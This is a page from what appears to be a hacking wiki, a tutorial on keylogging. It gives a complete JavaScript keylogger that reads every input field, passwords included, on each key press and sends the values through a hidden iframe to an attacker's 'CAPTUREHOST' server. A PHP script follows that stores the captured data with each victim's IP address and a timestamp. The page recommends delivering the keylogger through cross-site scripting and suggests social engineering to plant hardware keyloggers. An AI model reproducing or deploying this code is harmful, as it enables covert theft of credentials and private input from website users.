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Keylogging
From /i/nsurgency W/i/ki
Keylogging is the fact of recording the keys pressed by the user when entering data so that you can know what the target typed, including passwords and crap.
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[edit] Javascript keylogger
The most used one concerning website hacking.
//---Javascript
//This is an example of a keylogger. There is also a php file on this article you can use to capture the data.
randVal = 'loldongs'+(Math.round((10000-5000) * Math.random() + 5000));
wp='<div style=":display:block;width:0;height:0;z-index:0;overflow:hidden;" id="'+randVal+'"></div>';
window.onload=function(){
window.document.body.innerHTML='<div onkeyup="kl();">'+window.document.body.innerHTML+wp+'</div>';
}
function kl(){
inp=document.getElementsByTagName('input');
qs='';
for(var i = 0; i < inp.length; i++){
qs=qs+i+'_'+inp[i].name+'='+inp[i].value+'&';
}
cn=document.getElementById(randVal);
kf='<iframe style="width:0;height:0;" src="http://CAPTUREHOST/capture.php?'+qs+'"></iframe>';
cn.innerHTML=kf;
}
This sample basically calls the kl() function each time a key is pressed. This one sends the reference of the key(s) to this script, on the hacker's server :
//---capture.php
//This will catch all data passed as querystrings and save them in a readable format with IP, referrer & timestamp
<?php
$dumpFile = "dump";
$fh = fopen($dumpFile, 'a') or die("can't open file");
fwrite($fh, date("m/d/y_g:i:s").'|'.$_SERVER['REMOTE_ADDR'].'|'.$_SERVER['HTTP_REFERER'].'|');
foreach($_GET as $qs => $val){
fwrite($fh, $qs."=".$val.'|');
}
fwrite($fh, "\n");
fclose($fh);
?>
Everything is stored in the dumpfile and a normal user can't see he is being spied on.
This kind of keylogger is often used in combination with Cross site scripting.
[edit] Hardware keylogger
This one is a tiny device more often than not plugged between the computer and the keyboard of the target. Since this is a real life hack, you may use Social Engineering in order to gain access to the target's office or such.
If you want to know more about these : Wikipedia
[edit] Software keylogger
Often implemented via as virus or such, this keylogger runs on the target's computer like a normal program and logs every key he press.
[edit] Linux
[edit] Wind$
To be completed
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Keylogging is part of a series on Tutorials. |
